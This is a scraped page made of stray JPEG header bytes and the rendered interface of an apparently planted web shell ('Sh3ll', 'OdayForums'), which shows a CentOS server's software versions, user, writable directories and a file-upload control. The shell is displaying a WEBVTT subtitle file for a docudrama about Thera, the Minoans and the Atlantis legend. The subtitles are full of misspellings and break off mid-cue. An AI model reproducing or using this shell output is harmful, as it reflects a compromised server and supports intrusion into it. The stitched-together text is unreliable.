����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/12-2018/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/12-2018/5c24f84f79969-1545926735.vtt
WEBVTT

1
00:01:46.106 --> 00:01:53.826
<i>2,500 years ago,
the Greek philosopher Plato wrote of
an island he called Atlantis...</i>

2
00:01:55.023 --> 00:01:58.459
<i>..that was swallowed up by the sea in
a single day and night.</i>

3
00:02:00.577 --> 00:02:02.580
<i>Vanishing without a trace.</i>

4
00:02:05.818 --> 00:02:10.490
<i>Ever since,
people have wondered where this
mysterious island might have been,</i>

5
00:02:11.523 --> 00:02:13.580
<i>or whether it was all just a myth.</i>

6
00:02:16.589 --> 00:02:18.529
<i>New research suggests that</i>

7
00:02:18.973 --> 00:02:21.376
<i>Plato's story
was based on real events.</i>

8
00:02:21.941 --> 00:02:26.061
<i>Tantalising evidence uncovered on
a Greek island of Santorini</i>

9
00:02:26.288 --> 00:02:32.440
<i>has revealed an incredible civilization
advanced beyond it's time,</i>

10
00:02:32.732 --> 00:02:38.045
<i>Destroyed by the greatest natural
disaster of the Ancient world.</i>

11
00:02:39.877 --> 00:02:42.233
<i>Based on the latest
scientific research,</i>

12
00:02:43.153 --> 00:02:44.299
<i>this is the story</i>

13
00:02:45.054 --> 00:02:46.863
<i>of an incredible island,</i>

14
00:02:47.299 --> 00:02:48.615
<i>the people that lived there...</i>

15
00:02:49.262 --> 00:02:56.666
<i>..and the extraordinary last days
that inspired the legend of Atlantis.</i>

16
00:02:58.364 --> 00:03:04.286
A T L A N T I S

17
00:03:55.846 --> 00:04:03.207
<i>3,500 years ago, the Greek islands
were home to a powerful and
advanced Bronze Age civilisation...</i>

18
00:04:03.740 --> 00:04:06.464
<i>..one that rivalled the
Egypt of the Pharaohs.</i>

19
00:04:09.773 --> 00:04:11.866
<i>These were the Minoans.</i>

20
00:04:19.568 --> 00:04:26.518
<i>In this world,
powerful priestesses presided over
strange and dangerous rituals.</i>

21
00:04:40.287 --> 00:04:42.647
Not bad for Cretens.

22
00:04:43.031 --> 00:04:46.231
No offence.
- You think your son can better that?

23
00:04:48.300 --> 00:04:50.681
He's Theran.

24
00:05:05.515 --> 00:05:07.189
He's handsome, isn't he?

25
00:05:07.626 --> 00:05:10.055
Did you choose him for
you mother, or for me?

26
00:05:11.732 --> 00:05:14.273
My son is the finest
athlete in the whole of Thera.

27
00:05:14.698 --> 00:05:16.352
We're all terribly impressed, Rusa.

28
00:05:21.524 --> 00:05:26.391
<i>Plato wrote of great bulls
roaming the temples of Atlantis.</i>

29
00:05:28.130 --> 00:05:31.642
<i>And the bull was certainly
central to Minoan culture.</i>

30
00:05:32.052 --> 00:05:34.938
Hear me great Poseidon,
creator of the earth and sea.
Lend me the courage

31
00:05:35.212 --> 00:05:37.751
of our forefathers and accept this
wine as an offering.

32
00:05:39.856 --> 00:05:46.020
<i>So important was the bull
that it gave birth to the legend
of the man-killing minotaur.</i>

33
00:05:49.441 --> 00:05:51.920
<i>Half human, half beast.</i>

34
00:07:18.556 --> 00:07:19.486
Yishharu, you OK?

35
00:07:24.220 --> 00:07:26.001
You've shamed us all!

36
00:07:26.570 --> 00:07:28.399
Go home!

37
00:07:37.252 --> 00:07:42.547
<i>Bull leaping is thought to have been
an important initiation rite
for young Minoan men.</i>

38
00:07:43.505 --> 00:07:45.131
<i>And possibly even women.</i>

39
00:07:49.149 --> 00:07:54.902
<i>A spectacle performed all over Crete
in temple palaces like
this one at Knossos,</i>

40
00:07:56.780 --> 00:08:01.302
<i>a massive complex the size of
four football fields</i>

41
00:08:01.681 --> 00:08:08.217
<i>1300 quartyards, halls and chambers</i>

42
00:08:11.817 --> 00:08:15.501
<i>At a time when most Europians
was still living in a mud house</i>

43
00:08:17.762 --> 00:08:21.269
<i>This was the cradle of
Western civilisation.</i>

44
00:08:27.488 --> 00:08:29.734
For Queracio goddess of Thera.

45
00:08:31.160 --> 00:08:33.704
You've made a good mariage to a good family.

46
00:08:42.920 --> 00:08:46.920
Your future is secured.
- I know yours is father.

47
00:08:49.066 --> 00:08:50.975
We're all set.

48
00:08:52.922 --> 00:08:54.045
Where's Yishharu?

49
00:08:54.522 --> 00:08:56.085
I was thinking I
might leave him here.

50
00:08:56.369 --> 00:09:01.743
Save us all the embarrassment.
- He's a boy.

51
00:09:02.017 --> 00:09:04.134
The wife creates the man.

52
00:09:07.035 --> 00:09:08.188
Come on.

53
00:09:14.575 --> 00:09:18.568
Don't worry, your prescious doughter
is safe with me.

54
00:09:31.955 --> 00:09:33.906
Men, pull. Pull.

55
00:09:33.906 --> 00:09:38.768
<i>Minoans wealth was built on mastery of the sea.</i>

56
00:09:46.990 --> 00:09:53.404
<i>Their powerfull fleeth dominated
the trade network of the Mediterranaen.</i>

57
00:09:54.642 --> 00:09:59.644
<i>Positioned in the hart of this network,
between Europe, Africa and Asia</i>

58
00:09:59.842 --> 00:10:01.811
<i>was Crete,</i>

59
00:10:01.811 --> 00:10:06.541
<i>The strategic center of Minoan power.</i>

60
00:10:06.478 --> 00:10:10.892
<i>And 70 miles North
was the island of Thera.</i>

61
00:10:10.893 --> 00:10:14.011
<i>Known today as Santorini.</i>

62
00:10:15.036 --> 00:10:20.347
<i>In 1620 BC this was the setting
for a disaster that would trigger,</i>

63
00:10:20.347 --> 00:10:24.338
<i>the downfall of Minoan civilization.</i>

64
00:10:31.182 --> 00:10:34.533
You let me down,
in front of my bussines partner.

65
00:10:40.902 --> 00:10:42.231
Ground shook!

66
00:10:42.873 --> 00:10:44.198
That's before is the bull.

67
00:10:44.199 --> 00:10:46.993
Your hand was shaking when you touch
the ground. You were nervous!

68
00:10:46.994 --> 00:10:49.313
Maybe it was a sign!
- Sign? You haven't practiced enough!

69
00:10:50.977 --> 00:10:53.303
You shamed me Yishharu,

70
00:10:54.439 --> 00:10:56.180
...you shamed Thera.

71
00:10:56.482 --> 00:10:58.446
I wasn't shamed.

72
00:11:04.597 --> 00:11:06.877
Admiring our beautifull island.

73
00:11:08.436 --> 00:11:10.585
A jewell created by the gods
in the center of the ocean.

74
00:11:10.585 --> 00:11:12.297
Perhaps we should make an offering.

75
00:11:13.190 --> 00:11:15.891
Well, thanks! Bull didn't kill you.

76
00:11:15.892 --> 00:11:18.835
Something was wrong.
I felt!

77
00:11:23.944 --> 00:11:25.637
What's that?

78
00:11:45.071 --> 00:11:47.347
<i>Later described Atlantis,</i>

79
00:11:47.348 --> 00:11:53.144
<i>As an Island consisting of
circular belts of sea and land.</i>

80
00:11:53.145 --> 00:11:55.057
<i>Reconstructions of Thera,</i>

81
00:11:55.380 --> 00:11:58.965
<i>show how well it fits that description.</i>

82
00:12:02.191 --> 00:12:05.179
<i>The islands unusuall landscape</i>

83
00:12:05.180 --> 00:12:10.623
<i>had been shaped by the most powerfull
geological forces on the planet.</i>

84
00:12:13.369 --> 00:12:19.049
<i>The Therans were living
on a massive volcano.</i>

85
00:12:26.594 --> 00:12:28.585
When did this start?
- Two days ago, master.

86
00:12:29.416 --> 00:12:30.817
Two days?

87
00:12:33.961 --> 00:12:36.045
You, pass me some fish.
Can I have two?

88
00:12:37.158 --> 00:12:38.522
Where are you going with those?

89
00:12:38.723 --> 00:12:40.347
Poseidon's island.

90
00:12:40.347 --> 00:12:44.650
I've got an offering to make. -You have
a feast to attend. -I won't be late.

91
00:13:01.104 --> 00:13:04.478
<i>Thera was too small to be self sufficient</i>

92
00:13:04.479 --> 00:13:07.058
<i>but this Geographical position</i>

93
00:13:07.058 --> 00:13:08.216
<i>Made it the key trading hub
within the Mediterranian.</i>

94
00:13:16.178 --> 00:13:19.197
<i>It's merchants acted as middleman,</i>

95
00:13:19.198 --> 00:13:23.269
<i>trading metal, olive oil, vine, pottery and spices</i>

96
00:13:23.270 --> 00:13:28.141
<i>from Africa and Asia,
and other parts of Europe.</i>

97
00:13:36.437 --> 00:13:39.314
<i>Evidence of this wealth
can be seen today</i>

98
00:13:39.727 --> 00:13:46.841
<i>Their streets were lined with
multi-storey houses, decorated
with elaborate wall paintings.</i>

99
00:13:49.068 --> 00:13:52.471
<i>They built the world's first
indoor toilets, connected</i>

100
00:13:53.019 --> 00:14:00.690
<i>to an underground sewage system -
a luxury most Europeans would not
enjoy for another 2,000 years.</i>

101
00:14:08.145 --> 00:14:12.654
<i>Presiding over this prosperous
society was the priesthood.</i>

102
00:14:31.310 --> 00:14:33.172
My son's wife, Pinaruti.

103
00:14:34.209 --> 00:14:35.806
Welcome.

104
00:14:36.142 --> 00:14:38.938
I've brought you oil,
to honour your island goddess.

105
00:14:39.754 --> 00:14:41.678
That's for the high
priestess, not for me.

106
00:14:43.016 --> 00:14:45.364
Come, I'll take you to her.

107
00:15:06.418 --> 00:15:09.702
High priestess? Yishharu's wife.

108
00:15:12.991 --> 00:15:17.759
Oil from the fields of sacred
Mount Juktas to honour
your island goddess.

109
00:15:22.546 --> 00:15:24.106
Come with me.

110
00:15:33.123 --> 00:15:37.533
<i>Minoan women were remarkably
independent and influential.</i>

111
00:15:43.491 --> 00:15:47.549
<i>The most influential of all
were the priestesses.</i>

112
00:15:52.926 --> 00:15:55.859
<i>Their role was to communicate with
the gods,</i>

113
00:15:56.172 --> 00:15:58.213
<i>often through elaborate rituals,</i>

114
00:15:58.451 --> 00:16:02.115
<i>in which saffron seems to
have been used as a hallucinogenic.</i>

115
00:16:04.158 --> 00:16:06.669
Queracio welcomes you to
Thera, Pinaruti.

116
00:16:07.465 --> 00:16:09.759
And we welcome you in her name.

117
00:16:09.986 --> 00:16:13.022
Join us to give thanks
for your safe arrival here.

118
00:16:24.835 --> 00:16:26.650
Don't forget your offering.

119
00:16:28.715 --> 00:16:35.883
<i>Like other ancient civilisations,
the Minoans believed that all
things were inhabited by gods.</i>

120
00:16:44.852 --> 00:16:49.888
<i>There were gods for every
natural phenomenon, from childbirth</i>

121
00:16:50.159 --> 00:16:55.267
<i>to earthquakes, to stormy seas,
to mountain peaks.</i>

122
00:17:00.414 --> 00:17:07.889
<i>These gods weren't all seen as benign
and merciful, but as temperamental
and sometimes vindictive.</i>

123
00:17:40.632 --> 00:17:44.800
<i>Offerings were made by those
seeking favour from the gods.</i>

124
00:17:45.802 --> 00:17:53.893
<i>And it was through ritual ceremonies
that the priesthood sought
clarity on the gods' desires.</i>

125
00:18:29.267 --> 00:18:34.497
<i>But in 1620 BC,
the Minoans' complex
belief system was</i>

126
00:18:34.780 --> 00:18:41.094
<i>about to be blown apart by geological
forces beyond their understanding.</i>

127
00:19:07.732 --> 00:19:09.921
It's OK, Pinaruti.

128
00:19:17.321 --> 00:19:20.861
<i>One of the first signs that the
volcano was stirring would have been</i>

129
00:19:21.029 --> 00:19:26.395
<i>hydrothermal explosions triggered
by superheated ground water.</i>

130
00:19:33.705 --> 00:19:35.518
You saw something.

131
00:19:36.922 --> 00:19:39.276
What was it?

132
00:19:39.277 --> 00:19:41.979
I don't know. I don't understand.

133
00:19:42.536 --> 00:19:43.918
Try.

134
00:19:51.694 --> 00:19:53.883
It was Yishharu.

135
00:19:55.265 --> 00:19:56.819
He was in danger.

136
00:19:58.135 --> 00:19:59.804
What kind of danger?

137
00:20:06.641 --> 00:20:09.351
The sacrificial axe
was dripping in blood.

138
00:20:11.150 --> 00:20:12.948
His blood.

139
00:20:14.539 --> 00:20:17.385
Why would I see something like that?

140
00:20:20.562 --> 00:20:26.168
Sometimes our visions
don't come from the gods,
but from our own fears.

141
00:20:27.658 --> 00:20:30.026
This place is strange to you.

142
00:20:32.778 --> 00:20:35.873
And perhaps you're
unsure of your husband.

143
00:20:40.994 --> 00:20:42.982
Come.

144
00:20:43.377 --> 00:20:45.626
We have a celebration
to prepare for.

145
00:21:28.689 --> 00:21:33.375
We're here to welcome
my son's new wife, Pinaruti.

146
00:21:37.097 --> 00:21:40.384
She's the daughter of my loyal
business companion, Piteri.

147
00:21:40.820 --> 00:21:44.073
She is a Cretan,
but let's not hold that against her.

148
00:21:58.237 --> 00:22:01.339
Ah,
good of you to join us, Yishharu.

149
00:22:06.910 --> 00:22:08.150
Welcome.

150
00:22:13.306 --> 00:22:16.171
Now, I've seen many
things in this world.

151
00:22:16.884 --> 00:22:18.536
Dolphins in the Straits of Hazim.

152
00:22:19.680 --> 00:22:22.528
I've chased dolphins
across the Straits of Hazim.

153
00:22:24.162 --> 00:22:27.741
I've loaded my ships
with treasures from Egypt.

154
00:22:28.198 --> 00:22:30.929
I've fought
pirates off the shores of Elias.

155
00:22:30.715 --> 00:22:34.968
But none of it compares
to the magnificence of
this beautiful island.

156
00:22:35.132 --> 00:22:40.175
But none of it, none it compares
to the magnificence of this island.

157
00:22:40.667 --> 00:22:43.919
An island I like to believe I've
played a small part in making great.

158
00:22:44.795 --> 00:22:46.518
Sorry I was late.

159
00:22:46.826 --> 00:22:48.478
Without Cretan middlemen...

160
00:22:49.461 --> 00:22:50.495
Did you make your offering?

161
00:22:53.405 --> 00:22:55.439
Something happened at the sanctuary.

162
00:22:56.623 --> 00:22:59.794
The ground cracked. There was
this fountain of boiling water.

163
00:23:00.075 --> 00:23:01.293
I don't know where it came from.

164
00:23:01.965 --> 00:23:05.187
It was as if the whole island was...
Was being torn apart.

165
00:23:06.770 --> 00:23:08.895
At the bull leaping,
you said that the ground shook.

166
00:23:10.104 --> 00:23:11.578
You should tell your father.

167
00:23:23.803 --> 00:23:28.720
I had hoped that my only son
would follow in my wake
and take to the seas.

168
00:23:29.641 --> 00:23:35.600
Until now he's
put his blood and sweat into bulls,
and temple priestesses.

169
00:23:39.530 --> 00:23:42.651
Here's hoping that his wife
can make a better man of him.

170
00:23:46.001 --> 00:23:47.424
He's drunk, let's go.

171
00:23:47.905 --> 00:23:52.736
We can't. This is in our honour.
- You think this is for us?

172
00:24:18.585 --> 00:24:20.875
My advice
to anyone who marries is this.

173
00:24:24.814 --> 00:24:26.447
Enjoy every day,

174
00:24:27.860 --> 00:24:32.008
because you never know when the gods
will decide to take away what
is most precious to you.

175
00:24:32.383 --> 00:24:35.889
They've blessed you, Rusa.

176
00:25:27.753 --> 00:25:31.108
You tell us that they want
us to do this, do that.

177
00:25:32.018 --> 00:25:35.819
We do it because you say so.

178
00:25:35.820 --> 00:25:40.592
But still they punish us.
- This is intolerable.

179
00:25:41.599 --> 00:25:44.203
I don't speak to you.

180
00:25:44.204 --> 00:25:48.069
Rusa you giving us a wonderfull...
- Will dispower over us.

181
00:25:48.199 --> 00:25:50.080
You tell us you know the gods will.

182
00:25:50.424 --> 00:25:53.545
But, they don't speak to you!

183
00:26:21.026 --> 00:26:21.551
Yishharu!

184
00:26:22.551 --> 00:26:23.333
Yishharu!

185
00:27:01.391 --> 00:27:02.719
Get down!

186
00:27:13.443 --> 00:27:15.266
Where's Yishharu?
- I don't know.

187
00:27:26.060 --> 00:27:30.921
<i>One of the Minoans' most
powerful gods was the Earth Shaker.</i>

188
00:27:33.183 --> 00:27:35.172
<i>And for good reason.</i>

189
00:27:38.215 --> 00:27:43.580
<i>Structural damage uncovered on Thera
shows that around 1620 BC</i>

190
00:27:44.356 --> 00:27:47.285
<i>they were exposed
to an enormous earthquake.</i>

191
00:27:47.716 --> 00:27:50.960
<i>Measuring more than
seven on the Richter scale.</i>

192
00:27:58.421 --> 00:28:03.033
<i>Their buildings were designed to
withstand minor tremors and quakes.</i>

193
00:28:03.885 --> 00:28:07.806
<i>Thick timber frames had been
used to give them extra strength.</i>

194
00:28:09.788 --> 00:28:16.573
<i>Until finally, this quake, strong
enough to shatter these stone steps,</i>

195
00:28:17.596 --> 00:28:23.313
<i>set in motion an irreversible chain
of events for the people of Thera.</i>

196
00:28:27.570 --> 00:28:28.754
Stay still.

197
00:29:10.901 --> 00:29:11.642
Hey, little lady.

198
00:29:13.742 --> 00:29:15.164
Has your husband left you already?

199
00:29:18.614 --> 00:29:19.834
You should try the temple.

200
00:29:20.842 --> 00:29:22.328
He used to find his peace there.

201
00:30:21.832 --> 00:30:22.767
Quick! Over here.

202
00:30:28.355 --> 00:30:29.490
Is he all right?

203
00:30:31.307 --> 00:30:32.292
Looks like he's alive.

204
00:30:38.702 --> 00:30:39.755
Hold on, there's someone else.

205
00:31:27.793 --> 00:31:30.910
We need to get this town back on it's feet.

206
00:31:34.683 --> 00:31:39.750
All your messing around, married now,
it's going to stop.

207
00:31:39.751 --> 00:31:41.708
It has.

208
00:31:42.496 --> 00:31:44.166
It wasn't what it look like.

209
00:31:44.167 --> 00:31:46.962
You expect your new wife to belive that.

210
00:31:47.783 --> 00:31:49.925
What can I do, what can I say?
- Nothing!

211
00:31:49.926 --> 00:31:52.812
Only you know why you went to the Templ.

212
00:31:53.342 --> 00:31:56.984
Pinaruti only knows what she saw.
Or we also.

213
00:31:56.985 --> 00:31:59.287
There is no excuse for you done.

214
00:32:05.504 --> 00:32:07.279
Listen,

215
00:32:07.280 --> 00:32:10.215
you think fight and damage
challenging bull is brave,

216
00:32:11.041 --> 00:32:15.521
believe me,
marriage is the true test of courage.

217
00:32:16.280 --> 00:32:23.502
Besides, father is important bussines ally,
not if she decides to divorce you.

218
00:32:28.521 --> 00:32:33.250
<i>A legal code discovered on Crete,
suggests that Minoan women</i>

219
00:32:33.451 --> 00:32:38.084
<i>had more rights in marriage,
then an any other society at the time.</i>

220
00:32:41.281 --> 00:32:45.906
<i>If they divorced, women were
in title to reclaim the dowry.</i>

221
00:32:50.382 --> 00:32:56.844
<i>In cases of adultery, only the men
were punished.</i>

222
00:33:13.597 --> 00:33:15.772
Look, I only went to the temple
to get away from my father.

223
00:33:16.739 --> 00:33:17.834
I didn't know she'd be there.

224
00:33:18.800 --> 00:33:21.944
I don't want your excuses.
Everyone knows what you've
been doing with that woman.

225
00:33:23.617 --> 00:33:25.129
Even your father jokes about it.

226
00:33:26.623 --> 00:33:28.789
You've humiliated me, Yishharu.

227
00:33:29.162 --> 00:33:30.717
I won't stand for it.

228
00:33:31.684 --> 00:33:33.291
As soon as I knew she
was there, I told her...

229
00:33:33.535 --> 00:33:34.721
You told her it was over.

230
00:33:36.715 --> 00:33:38.437
I told her that...
- It was a goodbye.

231
00:33:45.005 --> 00:33:46.357
Yeah, it was goodbye.

232
00:33:54.237 --> 00:33:56.837
We need to restore normality
as soon as possible.

233
00:33:57.970 --> 00:34:00.035
Get them back into their homes.
- It's too soon.

234
00:34:03.656 --> 00:34:05.300
Their homes aren't safe yet.

235
00:34:06.089 --> 00:34:09.148
The houses may be damaged, but
most of them are still standing.

236
00:34:11.927 --> 00:34:14.812
The houses have been weakened.
We need to make them safe
before the people return.

237
00:34:15.096 --> 00:34:19.475
And expect people to leave
everything behind for
thieves to steal?

238
00:34:22.440 --> 00:34:23.704
Anything of value
can be safely stored.

239
00:34:24.301 --> 00:34:26.928
In the basements
or under the door frames
where the buildings are strongest.

240
00:34:27.493 --> 00:34:29.035
Then we seal up the doors.

241
00:34:33.228 --> 00:34:35.449
And the people go where?

242
00:34:35.827 --> 00:34:38.241
You expect them to
camp in the streets?

243
00:34:40.704 --> 00:34:43.595
I move them out of the city
while we repair the buildings.

244
00:34:44.860 --> 00:34:46.241
Priestess?

245
00:34:48.137 --> 00:34:49.931
Enough lives have been lost.

246
00:34:50.838 --> 00:34:53.848
We set up camps until the
houses can be made safe.

247
00:34:55.361 --> 00:34:56.921
And, Rusa,

248
00:34:57.346 --> 00:34:59.734
the buildings are not
all we have to repair.

249
00:35:00.401 --> 00:35:02.273
You take care of the gods, priestess.

250
00:35:02.626 --> 00:35:03.946
I'll get the town up and running.

251
00:35:15.507 --> 00:35:19.677
<i>Archaeological evidence reveals that
the earthquake damage was so severe</i>

252
00:35:20.245 --> 00:35:22.309
<i>that the Therans had to
leave their homes.</i>

253
00:35:24.734 --> 00:35:27.127
<i>Their precious possessions
were discovered stored</i>

254
00:35:27.658 --> 00:35:31.164
<i>beneath solid structures like
wooden doorways and under beds.</i>

255
00:35:32.673 --> 00:35:35.942
<i>And the entrances to their houses
were found sealed.</i>

256
00:35:39.846 --> 00:35:44.229
<i>Unlike Pompeii, no human remains
have been found in the town,</i>

257
00:35:44.596 --> 00:35:50.821
<i>suggesting the islanders moved
to temporary camps, imagining
they'd be coming home soon.</i>

258
00:36:03.020 --> 00:36:08.620
<i>For over 17,000 years the magma chamber
under Thera had been sealed,</i>

259
00:36:08.621 --> 00:36:12.798
<i>But the earthquake had fractured the chamber...</i>

260
00:36:12.799 --> 00:36:15.830
<i>Allowing the magma to rise.</i>

261
00:37:26.244 --> 00:37:28.896
You're as pious
as a priestess, Pinaruti.

262
00:37:30.952 --> 00:37:34.471
There are others on this island
who could learn from your example.

263
00:37:36.033 --> 00:37:37.265
Rusa?

264
00:37:40.589 --> 00:37:42.475
He lost a wife.

265
00:37:44.471 --> 00:37:48.955
And he blames the priestess
for failing to placate
the Goddess Eileithyia.

266
00:37:49.380 --> 00:37:51.455
She died during childbirth?

267
00:38:04.096 --> 00:38:06.124
They were only newly married.

268
00:38:08.698 --> 00:38:13.703
Ever since, he's found it difficult
to put his trust in us.

269
00:38:15.720 --> 00:38:18.332
If we can't trust you,
who can we trust?

270
00:38:42.450 --> 00:38:47.809
<i>As the magma rose it releases Sulfor,
and other poisons gases.</i>

271
00:38:52.706 --> 00:38:57.921
<i>More omen signs of the intending erruption.</i>

272
00:39:01.230 --> 00:39:04.110
Are you sure it's safe to be this close?
- It's fine.

273
00:39:09.368 --> 00:39:10.680
But what's that smell?

274
00:39:10.680 --> 00:39:11.968
It's like rotten eggs.

275
00:39:13.247 --> 00:39:14.363
That's the smell of the water.

276
00:39:14.808 --> 00:39:16.519
I believe it drives
the bad spirits away.

277
00:39:18.606 --> 00:39:20.170
We don't know why it smells.

278
00:39:22.106 --> 00:39:24.150
Or why it's so lovely and hot.

279
00:39:27.603 --> 00:39:29.074
Come in, it's great!

280
00:39:38.653 --> 00:39:39.952
What's wrong?

281
00:39:40.300 --> 00:39:41.506
Yishharu.

282
00:39:42.138 --> 00:39:43.294
Yishharu, quick, get back.

283
00:39:59.407 --> 00:40:01.570
The ocean... The ocean is turning!

284
00:40:12.333 --> 00:40:14.496
You don't think this is a sign?

285
00:40:14.497 --> 00:40:18.345
Everyrhing is a sign, Yishharu,
the nothing is a sign.

286
00:40:18.346 --> 00:40:21.051
If the gods are angry what,
I'm to do about it?

287
00:40:21.345 --> 00:40:25.230
Send the courier to the Crete, to Piteri,
tell him his cargo will sail in the morning,

288
00:40:25.230 --> 00:40:26.817
And that his doughter is safe.

289
00:40:28.113 --> 00:40:32.017
And instead of worring about dead fish,
Yishharu, try keep it that way

290
00:40:44.700 --> 00:40:46.829
So what did he say?

291
00:40:46.830 --> 00:40:50.326
He says that everything is a sign
and nothing is a sign.

292
00:40:51.333 --> 00:40:53.301
Doesn't take it seriously.

293
00:40:56.576 --> 00:40:58.750
A high priestess told me about your mother.

294
00:41:01.007 --> 00:41:01.988
I don't know her...

295
00:41:03.837 --> 00:41:05.163
...Just a few hours old.

296
00:41:05.356 --> 00:41:07.877
And he blames the priestesses.

297
00:41:12.472 --> 00:41:14.381
Who do you blame?

298
00:41:14.382 --> 00:41:16.791
I don't know enough
to know who to blame.

299
00:41:22.139 --> 00:41:24.468
I just wish I was better
at understanding the gods.

300
00:41:32.955 --> 00:41:37.114
They're trying to tell us something.
- Your father's a powerfuland and sensible man,
Yishharu.

301
00:41:37.344 --> 00:41:38.641
When he talks,
everyone listens to him.

302
00:41:40.712 --> 00:41:43.152
If you can just convince him that
this is a warning from the gods.

303
00:41:43.375 --> 00:41:45.818
My father's faith in the gods ended
when they stole my mother from me.

304
00:42:05.306 --> 00:42:08.021
Where are you going?
- I need to talk to a priestess.

305
00:42:08.832 --> 00:42:10.100
High priestess.

306
00:42:10.373 --> 00:42:12.253
Bansabira will know
what the gods want.

307
00:42:24.133 --> 00:42:26.425
<i>Pressure from rising magma</i>

308
00:42:26.427 --> 00:42:31.804
<i>blasted out a plug of rock that had
blocked the mouth of the volcano
for thousands of years.</i>

309
00:42:44.475 --> 00:42:46.314
<i>This was a pre-eruption.</i>

310
00:42:47.007 --> 00:42:49.965
<i>Simply the volcano
clearing its throat.</i>

311
00:42:55.407 --> 00:42:59.382
<i>Previous generations would have
witnessed small eruptions like this,</i>

312
00:43:02.014 --> 00:43:04.494
<i>and seen them
as signs from the gods.</i>

313
00:43:06.113 --> 00:43:10.739
<i>Signs that the priesthood
was expected to understand.</i>

314
00:43:11.000 --> 00:43:12.293
Priestess?

315
00:43:15.159 --> 00:43:16.214
What is this smell?

316
00:43:22.029 --> 00:43:23.298
What do we do?

317
00:43:26.291 --> 00:43:28.292
The Earth Shaker is speaking to us.

318
00:43:29.500 --> 00:43:32.307
Just as he spoke to our forefathers.

319
00:43:34.030 --> 00:43:36.329
We must respond as they did.

320
00:43:54.046 --> 00:43:57.784
<i>For the Minoans, there was no
better way to appease unpredictable</i>

321
00:43:57.785 --> 00:44:01.566
<i>and violent gods than to make
an offering.</i>

322
00:44:10.513 --> 00:44:13.872
<i>These were made at sanctuarys
high at the mountains.</i>

323
00:44:13.873 --> 00:44:17.805
<i>The closest they could physicaly
get to the gods.</i>

324
00:44:19.122 --> 00:44:22.628
<i>In Crete alone, 23 sites
have been discovered,</i>

325
00:44:22.629 --> 00:44:26.378
<i>littered with a remains
of thousands of clay figurines.</i>

326
00:44:29.548 --> 00:44:32.900
<i>Clay body parts were thoughts to be for healing.</i>

327
00:44:34.212 --> 00:44:38.209
<i>Clay animals, a plea for healthy lives.</i>

328
00:45:08.321 --> 00:45:10.954
Your father didn't seefit to join us.
- He's busy.

329
00:45:12.072 --> 00:45:13.588
Is that so?

330
00:45:14.353 --> 00:45:16.712
Our mayor is too busy
to honour the gods!

331
00:45:28.347 --> 00:45:30.211
Where is everyone?

332
00:45:30.970 --> 00:45:34.855
We'd nearly be done if my men
didn't disapear at the mountain
every time the earth shook.

333
00:45:38.566 --> 00:45:44.099
<i>Minoian peak sanctuaries have also been
found littered with animal bones.</i>

334
00:45:45.178 --> 00:45:47.809
<i>Goats, sheep, pigs,</i>

335
00:45:48.574 --> 00:45:49.957
<i>even bulls.</i>

336
00:45:54.536 --> 00:45:57.048
<i>A sacrifice of blood,</i>

337
00:45:57.049 --> 00:46:01.224
<i>was thought to be the most powerful
ofer in of all.</i>

338
00:46:39.798 --> 00:46:44.123
Poseidon, raging lord of the deep,

339
00:46:45.220 --> 00:46:48.564
Mover of the earth and the sea,

340
00:46:49.038 --> 00:46:51.486
Guardian of our fleet...

341
00:46:51.832 --> 00:46:55.335
we offer you
the sacred blood of bulls.

342
00:46:56.522 --> 00:47:00.341
May it drown your anger,
mighty dark-haired lord.

343
00:47:01.844 --> 00:47:06.425
Let us live in stillness
and peace once more.

344
00:47:07.423 --> 00:47:11.365
Hail, Poseidon,
ruler of the Earth and seven seas.

345
00:48:29.603 --> 00:48:34.712
<i>The priesthood's power hinged on its
ability to keep the gods in check.</i>

346
00:48:51.597 --> 00:48:56.327
<i>But the forces unleashed beneath
Thera were now unstoppable.</i>

347
00:49:27.783 --> 00:49:31.261
<i>From volcanic deposits, we know that
the early stages of the eruption</i>

348
00:49:31.615 --> 00:49:34.856
<i>covered the island
with a sprinkling of light ash.</i>

349
00:49:35.661 --> 00:49:38.580
<i>Enough to contaminate
the water supply.</i>

350
00:49:43.309 --> 00:49:45.759
What are you doing?
Are you trying to poison me?!

351
00:49:47.152 --> 00:49:48.888
She's trying to help!

352
00:49:49.659 --> 00:49:52.371
She's cursed.
(- She says: "She's cursed")

353
00:49:52.372 --> 00:49:54.282
And this water is cursed.

354
00:49:54.283 --> 00:49:57.847
Get away from me!
Go back where you came from!

355
00:50:00.222 --> 00:50:02.290
They're taking against Pinaruti.

356
00:50:03.921 --> 00:50:06.057
I'm sure she means no harm.

357
00:50:07.351 --> 00:50:10.966
This trouble began when SHE
arrived here. You know that.

358
00:50:12.034 --> 00:50:16.083
Rusa brought her here and we
know the gods don't favour him.

359
00:50:16.338 --> 00:50:19.701
Perhaps they're providing a way
for both of us to get what we want.

360
00:50:47.943 --> 00:50:49.550
Forgive me, priestess.

361
00:50:51.643 --> 00:50:53.536
I think I know what
Poseidon's asking for.

362
00:51:02.137 --> 00:51:03.152
Speak.

363
00:51:07.732 --> 00:51:09.879
I should have shared it earlier.

364
00:51:10.549 --> 00:51:13.030
When Pinaruti told me
about her vision...

365
00:51:13.807 --> 00:51:17.265
Go on.
- She saw a sacrifice.

366
00:51:19.136 --> 00:51:20.659
But it was not a bull.

367
00:51:22.853 --> 00:51:24.606
It was a person.

368
00:51:37.490 --> 00:51:38.550
Who?

369
00:51:43.110 --> 00:51:46.330
It was her own blood that was spilt.

370
00:51:49.230 --> 00:51:51.486
She was the sacrifice.

371
00:51:54.222 --> 00:51:56.359
Perhaps her vision

372
00:51:57.386 --> 00:52:01.589
is the gods' way of telling us
that she's not welcome.

373
00:52:03.750 --> 00:52:05.637
She's cursed.

374
00:52:10.011 --> 00:52:12.195
Tell Yidini to gather the people.

375
00:52:12.704 --> 00:52:14.835
I will speak to them
and restore order.

376
00:52:15.977 --> 00:52:23.863
But first I will consult with the gods and
clarify what it is Poseidon asks for.

377
00:53:28.535 --> 00:53:31.212
<i>What would make this eruption
different from any other</i>

378
00:53:31.384 --> 00:53:37.208
<i>the Therans had experienced was the
interaction of two kinds of magma,</i>

379
